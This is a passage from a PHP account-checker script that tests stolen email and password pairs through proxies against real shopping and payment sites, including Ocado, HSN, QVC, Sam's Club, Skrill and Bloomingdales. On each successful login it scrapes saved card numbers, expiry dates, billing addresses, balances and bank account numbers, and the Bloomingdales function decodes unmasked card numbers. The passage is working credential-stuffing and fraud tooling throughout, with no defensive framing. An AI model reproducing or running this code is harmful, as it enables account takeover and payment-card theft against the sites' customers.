4986 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
4987 '|' . '<br>';
4988 }
4989}
4990function onestopplus($m,$p,$sock)
4991{
4992 $curl = new curl;
4993 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
4994 $curl->cookiefile($cookie);
4995 $curl->timeout("30");
4996 if($sock != '') {$curl->proxy($sock);}
4997 $curl->ssl(0, 2);
4998
4999 $url1 = "https://www.onestopplus.com/Account/Acct_Login.aspx?ReturnUrl=%2fAccount%2fAcct_Main.aspx";
5000
5001 $page = $curl->get($url1);
5002 if ($page) {
5003 $curl->referer($url1);
5004 $state = getStr($page,'id="__VIEWSTATE" value="','"');
5005 $data = "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=".urlencode($state)."&ctl00%24GlobalBodyContentPlaceHolder%24ucAcctLogin%24txtEmailAddress=".urlencode($m)."&ctl00%24GlobalBodyContentPlaceHolder%24ucAcctLogin%24txtPassword=".urlencode($p)."&ctl00%24GlobalBodyContentPlaceHolder%24ucAcctLogin%24ibtnLogin.x=41&ctl00%24GlobalBodyContentPlaceHolder%24ucAcctLogin%24ibtnLogin.y=1&ctl00%24globalFooter%24Footer1%24EmailSignUp1%24txtEmailAddress=&ctl00%24globalFooter%24Footer1%24EmailSignUp1%24txtConfirmEmailAddress=";
5006 $page = $curl->post($url1, $data, 1, 1, 0);
5007
5008 if(!$page)
5009 {
5010 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5011 '|' . '<br>';
5012 }
5013 elseif (!strpos($page, 'I am a Returning Customer')) {
5014 $page = $curl->get("https://www.onestopplus.com/Account/Acct_Manage_Cards.aspx");
5015 preg_match_all("/ctl00_GlobalBodyContentPlaceHolder_ucAcctCards_dlCreditCards_ctl0(.*)_cardtype/", $page, $array);
5016 foreach ($array[1] as $key) {
5017 $card .= "[".getStr($page,'ctl00_GlobalBodyContentPlaceHolder_ucAcctCards_dlCreditCards_ctl0'.$key.'_cardtype">','</span>')."-".getStr($page,'ctl00_GlobalBodyContentPlaceHolder_ucAcctCards_dlCreditCards_ctl0'.$key.'_cardnumber">','</span>')."-".getStr($page,'ctl00_GlobalBodyContentPlaceHolder_ucAcctCards_dlCreditCards_ctl0'.$key.'_expirydate">','</span>')."] ";
5018 }
5019 $page = $curl->get("https://www.onestopplus.com/Account/Acct_Profile.aspx");
5020 $bill = getStr($page,'name="ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$txtFirstName" type="text" value="','"')." ".getStr($page,'ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$txtLastName" type="text" value="','"')." | ".getStr($page,'ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$txtAddress1" type="text" value="','"')." | ".getStr($page,'<input name="ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$txtCity" type="text" value="','"')." | ".getStr(getStr($page,'id="ctl00_GlobalBodyContentPlaceHolder_ucAccountProfile_ddlStates" class="dropdown">','</select>'),'<option selected="selected" value="NY">','</option>')." | ".getStr($page,'ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$mtxtZipCode" type="text" value="','"')." | ".getStr($page,'ctl00$GlobalBodyContentPlaceHolder$ucAccountProfile$mtxtPhone1" type="text" value="','"');
5021 $page = $curl->get("https://www.onestopplus.com/Account/Acct_OrderHistory.aspx");
5022
5023 if(strpos($page,'You have no <span id="ctl00_GlobalBodyContentPlaceHolder_Acct_OrderHistory1_ucOrderList_Past_spanListName">past</span> orders.'))
5024 {
5025 $order = "No Order";
5026 }
5027 else
5028 {
5029 $order = getStr($page,'<a href="/Account/Acct_OrderDetails.aspx','</tr>');
5030 $order = getStr($order,'<span class="total">','</td>');
5031 $order = str_replace("</span>", "-", $order);
5032 $order = strip_tags($order);
5033 }
5034 $card = str_replace("*", "", $card);
5035 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5036 }
5037 elseif (strpos($page, 'I am a Returning Customer')) {
5038 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5039 '<br>';
5040 $tdie++;
5041 } else {
5042 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5043 '|' . '<br>';
5044 }
5045 flush(); ob_flush();
5046
5047 $curl->close();
5048 unset($curl); // destroy object
5049 }
5050 else
5051 {
5052 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5053 '|' . '<br>';
5054 }
5055}
5056function ocado($m,$p,$sock)
5057{
5058 $curl = new curl;
5059 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5060 $curl->cookiefile($cookie);
5061 $curl->timeout("30");
5062 if($sock != '') {$curl->proxy($sock);}
5063 $curl->ssl(0, 2);
5064
5065 $url1 = "https://www.ocado.com/webshop/login.do";
5066 $page = $curl->get($url1);
5067 if ($page) {
5068 $curl->referer($url1);
5069 $loginToken = getStr($page,'<input type="hidden" id="loginToken" name="loginToken" value="','" />');
5070 $data = "loginToken=$loginToken&jsEnabled=N&login=$m&password=$p";
5071 $page = $curl->post($url1, $data, 1, 1, 0);
5072
5073 if(!$page)
5074 {
5075 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5076 '|' . '<br>';
5077 }
5078 elseif (strpos($page, 'Welcome back')) {
5079 $linkver = "https://www.ocado.com/webshop/loginElevated.do?dnr=y";
5080 $page = $curl->post($linkver, $data, 1, 1, 0);
5081 $page = $curl->get($linkver);
5082
5083 $linkcard = "https://www.ocado.com/webshop/getSavedDetails.do";
5084 $page = $curl->get($linkcard);
5085
5086
5087
5088
5089
5090 if(strpos($page, "has expired"))
5091 {
5092 $cardex = " card expired " ;
5093 }
5094 else
5095 {
5096 $cardex = getStr($page,'<td class="cardType ">','<a class = "" href="/webshop/removePaymentDetails.do');
5097 $page = $curl->get("https://www.ocado.com/webshop/displayAllOrders.do");
5098 if(strpos($page,'View order '))
5099 {
5100 $order = "Have Order";
5101 }
5102 else
5103 {
5104 $order = " Have not order ";
5105 }
5106
5107 if(strpos($page, 'You do not have any stored card details.')) {
5108 $cardex = "No Card" ;
5109 }
5110
5111
5112
5113 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $type | $cardex |$order ";
5114 }
5115 if(strpos($page, "We're having trouble confirming your login details. Maybe you typed them incorrectly? Please try again.")) {
5116 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5117 '<br>';
5118 $tdie++;
5119 } else {
5120 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5121 '|' . '<br>';
5122 }
5123 }
5124 flush(); ob_flush();
5125
5126 $curl->close();
5127 unset($curl); // destroy object
5128 }
5129 else
5130 {
5131 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5132 '|' . '<br>';
5133 }
5134}
5135function cowboom($m,$p,$sock)
5136{
5137 $curl = new curl;
5138 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5139 $curl->cookiefile($cookie);
5140 $curl->timeout("30");
5141 if($sock != '') {$curl->proxy($sock);}
5142 $curl->ssl(0, 2);
5143
5144 $url1 = "https://www.cowboom.com/signIn.cfm?uiID=0";
5145
5146 $page = $curl->get($url1);
5147 if ($page) {
5148 $curl->referer($url1);
5149
5150 $data = "action=login&l_Username=$m&l_Password=$p";
5151 $page = $curl->post($url1, $data, 1, 1, 0);
5152
5153 if(!$page)
5154 {
5155 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5156 '|' . '<br>';
5157 }
5158 elseif (!strpos($page, 'Login with your CowBoom.com Account')) {
5159
5160 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5161 }
5162 elseif (strpos($page, 'Login with your CowBoom.com Account')) {
5163 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5164 '<br>';
5165 $tdie++;
5166 } else {
5167 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5168 '|' . '<br>';
5169 }
5170 flush(); ob_flush();
5171
5172 $curl->close();
5173 unset($curl); // destroy object
5174 }
5175 else
5176 {
5177 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5178 '|' . '<br>';
5179 }
5180}
5181function toluna($m,$p,$sock)
5182{
5183 $curl = new curl;
5184 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5185 $curl->cookiefile($cookie);
5186 $curl->timeout("30");
5187 if($sock != '') {$curl->proxy($sock);}
5188 $curl->ssl(0, 2);
5189
5190 $url1 = "https://us.toluna.com/Auth/Authenticate";
5191
5192 $page = $curl->get($url1);
5193 if ($page) {
5194 $curl->referer($url1);
5195 $user = rm($m);
5196 $data = "Username=$user&Password=$p&Remember=false";
5197 $page = $curl->post($url1, $data, 1, 1, 0);
5198
5199 if(!$page)
5200 {
5201 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5202 '|' . '<br>';
5203 }
5204 elseif (strpos($page, '{"loginResult":"","redirectUrl":""}')) {
5205 $page = $curl->get("https://us.toluna.com/YourZone");
5206 $balance = getStr($page,'Current balance<div>','</span></div>');
5207
5208 return "<font color=yellow><b>Live</b></font> | $sock | User: $user | $p | Mail: $m @@@@ | $balance";
5209 }
5210 elseif (strpos($page, '{"loginResult":"BadCredintials","redirectUrl":""}')) {
5211 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5212 '<br>';
5213 $tdie++;
5214 } else {
5215 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5216 '|' . '<br>';
5217 }
5218 flush(); ob_flush();
5219
5220 $curl->close();
5221 unset($curl); // destroy object
5222 }
5223 else
5224 {
5225 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5226 '|' . '<br>';
5227 }
5228}
5229function hsn($m,$p,$sock)
5230{
5231 $curl = new curl;
5232 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5233 $curl->cookiefile($cookie);
5234 $curl->timeout("30");
5235 if($sock != '') {$curl->proxy($sock);}
5236 $curl->ssl(0, 2);
5237
5238 $url1 = "https://m.hsn.com/Commerce/SignIn";
5239
5240 $page = $curl->get($url1);
5241 if ($page) {
5242 $curl->referer($url1);
5243
5244 $data = "txtUserEmail=$m&txtUserPwd=$p";
5245 $page = $curl->post($url1, $data, 1, 1, 0);
5246
5247 if(!$page)
5248 {
5249 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5250 '|' . '<br>';
5251 }
5252 elseif (!strpos($page, 'SECURE ACCOUNT SIGN IN')) {
5253 $page = $curl->get("https://m.hsn.com/Commerce/EditPaymentMethod");
5254 preg_match_all("/data-aid=\"(.*)\"/", $page, $matches);
5255 foreach ($matches[1] as $key) {
5256 $card .= "[".getStr($page,$key,'<div class="table">')."]";
5257 $card = str_replace("<br/>", "-", $card);
5258 $card = str_replace(array(' Exp. Date: ','">'), "", $card);
5259 }
5260 $page = $curl->get("https://m.hsn.com/Commerce/AddressBook");
5261 $bill = getStr($page,'<div style="padding-bottom: 4px;" class="address-border headerBlue2011 headerBluePadding2011">Billing Address</div>','<div class="table">');
5262 $bill = str_replace("</div>", " | ", $bill);
5263 $bill = strip_tags($bill);
5264
5265 $page = $curl->get("https://m.hsn.com/Commerce/OrderStatus");
5266 if(strpos($page,"placed no orders within the last 90 days"))
5267 {
5268 $order = "No Order";
5269 }
5270 else
5271 {
5272 $order = "Have Order";
5273 }
5274 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5275 }
5276 elseif (strpos($page, 'SECURE ACCOUNT SIGN IN')) {
5277 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5278 '<br>';
5279 $tdie++;
5280 } else {
5281 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5282 '|' . '<br>';
5283 }
5284 flush(); ob_flush();
5285
5286 $curl->close();
5287 unset($curl); // destroy object
5288 }
5289 else
5290 {
5291 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5292 '|' . '<br>';
5293 }
5294}
5295function qvc($m,$p,$sock)
5296{
5297 $curl = new curl;
5298 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5299 $curl->cookiefile($cookie);
5300 $curl->timeout("30");
5301 if($sock != '') {$curl->proxy($sock);}
5302 $curl->ssl(0, 2);
5303
5304 $url1 = "https://www.qvc.com/UserRegistrationAdd";
5305
5306 $page = $curl->get($url1);
5307 if ($page) {
5308 $curl->referer($url1);
5309
5310 $data = "storeId=10251&catalogId=10151&langId=-1&ERR_URL=UserRegistrationErrorView&page=account&new=Y&addressType=B&profileType=C®isterType=G&demographicField5=web&preferredLanguage=-1&rememberMe=true&fromPage=myaccount&URL=RegistrationConfirmView&email1=pycoder%40live.com&email1Verify=$m&logonPassword=1111&logonPasswordVerify=1111&personTitle=06&firstName=DIE&lastName=NBT&address1=3110+jackson+ave&address2=&city=&state=CA&zipCode=91770&country=US&phone1=2676787821&phone2=&shipToSameBillTo=true";
5311 $page = $curl->post($url1, $data, 1, 1, 0);
5312
5313 if(!$page || strpos($page,'Access Denied'))
5314 {
5315 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5316 '|' . '<br>';
5317 }
5318 elseif (strpos($page, 'Existing Account Found')) {
5319
5320 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
5321 }
5322 elseif (!strpos($page, 'Existing Account Found')) {
5323 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5324 '<br>';
5325 $tdie++;
5326 } else {
5327 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5328 '|' . '<br>';
5329 }
5330 flush(); ob_flush();
5331
5332 $curl->close();
5333 unset($curl); // destroy object
5334 }
5335 else
5336 {
5337 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5338 '|' . '<br>';
5339 }
5340}
5341function jcrew($m,$p,$sock)
5342{
5343 $curl = new curl;
5344 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5345 $curl->cookiefile($cookie);
5346 $curl->timeout("30");
5347 if($sock != '') {$curl->proxy($sock);}
5348 $curl->ssl(0, 2);
5349
5350 $url1 = "https://www.jcrew.com/signin/signin.jsp";
5351
5352 $page = $curl->get($url1);
5353 if ($page) {
5354 $curl->referer($url1);
5355
5356 $formid = getStr($page,'name="bmFormID" value="','"');
5357 $uid = getStr($page,'name="bmUID" value="','"');
5358 $hash = getStr($page,'name="bmHash" value="','"');
5359 $m = urlencode($m);
5360 $data = "bmForm=frm_generic_signin&bmFormID=$formid&bmUID=$uid&bmIsForm=true&bmPrevTemplate=%2Fsignin%2Fsignin.jsp&bmEditable=checkoutVersion&bmHidden=checkoutVersion&checkoutVersion=2&bmEditable=bmAction&bmArch=bmAction&bmAction=signin&bmEditable=bmSubmit&bmArch=bmSubmit&bmSubmit=signin&bmEditable=signInFormCalled&bmHidden=signInFormCalled&signInFormCalled=true&bmText=loginUser&loginUser=$m&bmEditable=LOGIN%3C%3Euserid&bmHidden=LOGIN%3C%3Euserid&LOGIN%3C%3Euserid=$m&bmEditable=module&bmHidden=module&module=MYACCOUNT&bmEditable=pdpWishlistSignin&bmHidden=pdpWishlistSignin&pdpWishlistSignin=false&bmText=LOGIN%3C%3Epassword&LOGIN%3C%3Epassword=$p&bmArrayIndex=rememberMe&bmCheckbox=rememberMe&rememberMe=true&bmFields=bmCheckbox%2CbmArrayIndex%2CbmText%2CbmEditable%2CbmPrevTemplate%2CbmForm%2CbmIsForm%2CbmUID%2CbmHidden%2CbmArch%2CbmFormID&bmHash=$hash";
5361 $page = $curl->post($url1, $data, 1, 1, 0);
5362 echo $page;
5363 if (strpos($page, '"success":true')) {
5364 $page = $curl->get("https://www.shoebuy.com/cust/account");
5365 if(strpos($page,'You have no recent orders'))
5366 {
5367 $order = "No Order";
5368 }
5369 else
5370 {
5371 $order = getStr($page,'<td class="order_id">','</td>')."-".getStr($page,'<td class="order_date">','</td>')."-".getStr($page,'<td class="order_status">','</td>');
5372 $order = strip_tags($order);
5373 $order = str_replace("[Track]", "", $order);
5374 }
5375 $bill = getStr($page,'<h3>Billing Address</h3>','<h3>Payment Method</h3>');
5376 $bill = strip_tags($bill);
5377 $page = explode('<div class="option">',$page);
5378 unset($page[0]);
5379 foreach ($page as $line) {
5380
5381 $card .= " [".getStr($line,'<div class="payment creditcardtype">','<div class="buttons actions">')."]";
5382 $card = str_replace(array("**** **** ****","Expires"), "-", $card);
5383 $card = strip_tags($card);
5384 }
5385 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
5386 }
5387 elseif (!strpos($page, '"success":true')) {
5388 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5389 '<br>';
5390 $tdie++;
5391 } else {
5392 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5393 '|' . '<br>';
5394 }
5395 flush(); ob_flush();
5396
5397 $curl->close();
5398 unset($curl); // destroy object
5399 }
5400 else
5401 {
5402 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5403 '|' . '<br>';
5404 }
5405}
5406function samclub($m,$p,$sock)
5407{
5408 $curl = new curl;
5409 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5410 $curl->cookiefile($cookie);
5411 $curl->timeout("30");
5412 if($sock != '') {$curl->proxy($sock);}
5413 $curl->ssl(0, 2);
5414
5415 $url1 = "https://www.samsclub.com/sams/account/signin/login.jsp?memberMess=true&redirectURL=%2Fsams%2Faccount%2Fmyaccount%2Faccount.jsp&_requestid=45783";
5416
5417 $page = $curl->get($url1);
5418 if ($page) {
5419 $curl->referer($url1);
5420 $dyn = getStr($page,'name="_dyncharset"></input><input value="','"');
5421 $data = "_dyncharset=UTF-8&_dynSessConf=$dyn&username=$m&_D%3Ausername=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=$p&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=%2Fsams%2Faccount%2Fmyaccount%2Faccount.jsp%3F&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.conflictingEmailURL=%2Faccount%2Fsignin%2FemailConflict.jsp%3FredirectURL%3D%252Fsams%252Faccount%252Fmyaccount%252Faccount.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.conflictingEmailURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.emailSwitchURL=%2Faccount%2Fsignin%2FuserSwitchEmail.jsp%3FredirectURL%3D%252Fsams%252Faccount%252Fmyaccount%252Faccount.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.emailSwitchURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginFailureURL=fail.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginFailureURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.cartURL=..%2F..%2Fcart%2Fcart.jsp%3Fexpmsg%3Dsuccess&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.cartURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.emailSwitchURL=%2Faccount%2Fsignin%2FuserSwitchEmail.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.emailSwitchURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=%2Fsams%2Faccount%2Fsignin%2Flogin.jsp%3FmemberMess%3Dtrue%26redirectURL%3D%252Fsams%252Faccount%252Fmyaccount%252Faccount.jsp%26_prevRequestId%3D45783&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.lostStolenURL=%2Faccount%2Fregistration%2FregisterNewCard.jsp%3FlostStolen%3Dtrue&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.lostStolenURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=submit&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=+&_DARGS=%2Fsams%2Faccount%2Fsignin%2FmemberLogin.jsp";
5422 $page = $curl->post($url1, $data, 1, 1, 0);
5423
5424 if (!strpos($page, 'Please sign in to access your account.')) {
5425 $info = getStr($page,'<div class="labelColumn">Membership Name:</div>','<br></div>');
5426 $info .= getStr($page,'<div class="labelColumn">Membership Type:</div>','</div>');
5427 $info .= getStr($page,'<div class="labelColumn">Membership Number:</div>','</div>');
5428 $info .= getStr($page,'<div class="labelColumn">Expiration Date:</div>','</div>');
5429 $info .= getStr($page,'<div class="labelColumn">Address:</div>','</div>');
5430 $info = strip_tags($info);
5431 $page = $curl->get("https://www.samsclub.com/sams/account/payment/payment.jsp");
5432 preg_match_all("/class=\"blueLinks\"><strong>(.*)<\/strong>/", $page, $array);
5433 preg_match_all("/Exp: <span class=\"red\">(.*)<\/span>/", $page, $array2);
5434 $i = 0;
5435 while ($i < count($array[1])) {
5436 if($array2[1][$i] == "")
5437 {
5438 $exp = getStr($page,'Exp: ','<BR>');
5439 }
5440 else
5441 {
5442 $exp = $array2[1][$i];
5443 }
5444 $cc .= "[".$array[1][$i]."-".$exp."]";
5445 $i++;
5446 }
5447 $page = $curl->get("https://www.samsclub.com/sams/shoppingtools/orderhistory/orderHistory.jsp");
5448 $dyn = getStr($page,'name="_dyncharset"></input><input value="','"');
5449 $page = $curl->get("https://www.samsclub.com/sams/shoppingtools/orderhistory/orderHistory.jsp?_dyncharset=UTF-8&_dynSessConf=$dyn&_D%3Astated=+&stated=&orderId=Enter+Order+Number&_D%3AorderId=+&_D%3AStartmonth=+&Startmonth=&_D%3AStartday=+&Startday=&_D%3Astartyear=+&startyear=&_D%3AEndmonth=+&Endmonth=&_D%3AEndday=+&Endday=&_D%3AEndyear=+&Endyear=&shipped=true&_D%3Ashipped=+&clicknpull=true&_D%3Aclicknpull=+&subscriptionOrder=true&_D%3AsubscriptionOrder=+&auction=true&_D%3Aauction=+&taxExempt=true&_D%3AtaxExempt=+&healthItem=true&_D%3AhealthItem=+&isGreenProduct=true&_D%3AisGreenProduct=+&category=true&_D%3Acategory=+&_D%3AcategoryId=+&categoryId=&%2Fcom%2Fwalmart%2Fecommerce%2Fsamsclub%2Fmyaccount%2Forders%2Fhandler%2FOrderHistorySearchFormHandler.OrderHistoryBean.searched=true&_D%3A%2Fcom%2Fwalmart%2Fecommerce%2Fsamsclub%2Fmyaccount%2Forders%2Fhandler%2FOrderHistorySearchFormHandler.OrderHistoryBean.searched=+&ordersToRemove=&removeMessasge=&_DARGS=%2Fsams%2Fshoppingtools%2Forderhistory%2ForderHistoryInclude.jsp");
5450 $order = getStr($page,'<td class="brdr" valign="middle">','</tr>');
5451 $order = str_replace("</td>", "|", $order);
5452 $order = strip_tags($order);
5453 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | [$order] | $cc | $info";
5454 }
5455 elseif (strpos($page, 'Please sign in to access your account.')) {
5456 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5457 '<br>';
5458 $tdie++;
5459 } else {
5460 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5461 '|' . '<br>';
5462 }
5463 flush(); ob_flush();
5464
5465 $curl->close();
5466 unset($curl); // destroy object
5467 }
5468 else
5469 {
5470 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5471 '|' . '<br>';
5472 }
5473}
5474function skrill($m,$p,$sock)
5475{
5476 $curl = new curl;
5477 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5478 $curl->cookiefile($cookie);
5479 $curl->timeout("30");
5480 if($sock != '') {$curl->proxy($sock);}
5481 $curl->ssl(0, 2);
5482
5483 $url1 = "https://account.skrill.com/login";
5484
5485 $page = $curl->get($url1);
5486 if ($page) {
5487 $curl->referer($url1);
5488 $token = getStr($page,'<input name="authenticity_token" type="hidden" value="','"');
5489 $token = urlencode($token);
5490 $recaptcha = "";
5491 $data = "utf8=%E2%9C%93&authenticity_token=$token&user_authentication%5Bemail%5D=$m&user_authentication%5Bpassword%5D=$p&user_authentication%5Bbrowser_fingerprint%5D=TF1%3B014%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3BMozilla%3BNetscape%3B5.0%2520%2528Windows%2529%3B20100101%3Bundefined%3Btrue%3BWindows%2520NT%25206.3%253B%2520WOW64%3Btrue%3BWin32%3Bundefined%3BMozilla%2F5.0%2520%2528Windows%2520NT%25206.3%253B%2520WOW64%253B%2520rv%253A30.0%2529%2520Gecko%2F20100101%2520Firefox%2F30.0%3Ben-US%3Bundefined%3Baccount.skrill.com%3Bundefined%3Bundefined%3Bundefined%3Bundefined%3Bfalse%3Bfalse%3B1403519177249%3B7%3B6%2F7%2F2005%252C%25209%253A33%253A44%2520PM%3B1366%3B768%3B%3B14.0%3B%3B%3B%3B2013%3B114%3B-420%3B-420%3B6%2F23%2F2014%252C%25205%253A26%253A17%2520PM%3B24%3B&recaptcha_challenge_field=$recaptcha&recaptcha_response_field=&user_authentication%5Bsecurity_token%5D=&user_authentication%5Bdate_of_birth(3i)%5D=&user_authentication%5Bdate_of_birth(2i)%5D=&user_authentication%5Bdate_of_birth(1i)%5D=&user_authentication%5Bpromo_campaign_id%5D=&promo_id=&rid=";
5492 $page = $curl->post($url1, $data, 1, 1, 0);
5493 if(strpos($page,'date_of_birth_challenge_required":true'))
5494 {
5495 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | DOB Required";
5496 }
5497 elseif (strpos($page, '{"success":true')) {
5498 $page = $curl->get("https://account.skrill.com/");
5499 $balance = getStr($page,'<span class="balance">','</span>');
5500 if(strpos($page,'No transactions were made'))
5501 {
5502 $order = "No Order";
5503 }
5504 else
5505 {
5506 $order = "Have Order";
5507 }
5508 $page = $curl->get("https://account.skrill.com/cards_and_bank_accounts");
5509 preg_match_all("/<div class='expiration_time'>\nExpires\n(.*)\n<\/div>/", $page, $exp);
5510 preg_match_all("/<div class='card_number'>(.*)<\/div>/", $page, $cc);
5511
5512
5513 for($i = 0; $i < count($exp[1]); $i++)
5514 {
5515 $card .= " [".$cc[1][$i]."-".$exp[1][$i]."]";
5516
5517 }
5518 preg_match_all("/<div>Account number:<\/div>(.*)<\/div>/", $page, $matches);
5519 for($k = 0; $k < count($matches[1]); $k++)
5520 {
5521 $bank .= " [".$matches[1][$k]."]";
5522 }
5523 $page = $curl->get("https://account.skrill.com/user_settings");
5524 $info = getStr($page,"<div class='title span4'>Change address</div>","<p>");
5525 $info = strip_tags(str_replace(array('<div class="address">','<br>'), " | ", $info)." | ".getStr($page,"<div class='title span4'>Change phone numbers</div>","</div>"));
5526 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $balance | Card: $card | Bank Account: $bank | $info";
5527 }
5528 elseif (strpos($page, '{"success":false')) {
5529 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
5530 '<br>';
5531 $tdie++;
5532 } else {
5533 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5534 '|' . '<br>';
5535 }
5536 flush(); ob_flush();
5537
5538 $curl->close();
5539 unset($curl); // destroy object
5540 }
5541 else
5542 {
5543 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
5544 '|' . '<br>';
5545 }
5546}
5547function blommingdales($m,$p,$sock)
5548{
5549 $curl = new curl;
5550 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
5551 $curl->cookiefile($cookie);
5552 $curl->timeout("30");
5553 if($sock != '') {$curl->proxy($sock);}
5554 $curl->ssl(0, 2);
5555
5556 $url1 = "https://www.bloomingdales.com/account/signin?cm_sp=NAVIGATION-_-TOP_NAV-_-MY_ACCOUNT-n-n";
5557
5558 $page = $curl->get($url1);
5559 if ($page) {
5560 $curl->referer($url1);
5561
5562 $data = "email=$m&password=$p&accountSignIn.x=39&accountSignIn.y=20";
5563 $page = $curl->post($url1, $data, 1, 1, 0);
5564
5565 if (!strpos($page, 'RETURNING CUSTOMERS, PLEASE SIGN IN')) {
5566 $page = $curl->get("https://www.bloomingdales.com/account/wallet");
5567 preg_match_all("/creditCardId\" type=\"hidden\" value=\"(.*)\"\/>/", $page, $match);
5568
5569 foreach ($match[1] as $key) {
5570 if($key != "")
5571 {
5572 $url = "https://www.bloomingdales.com/account/wallet";
5573 $post = "action=EDIT&validationCheck=false&creditCardVB.creditCardId=".$key;
5574 $page = $curl->post($url, $post, 1, 1, 0);
5575 $ccnum = getStr($page,'name="creditCardVB.unmaskedCreditCardNumber" type="hidden" value="{xor}','"');
5576 $ccnum = base64_decode($ccnum);
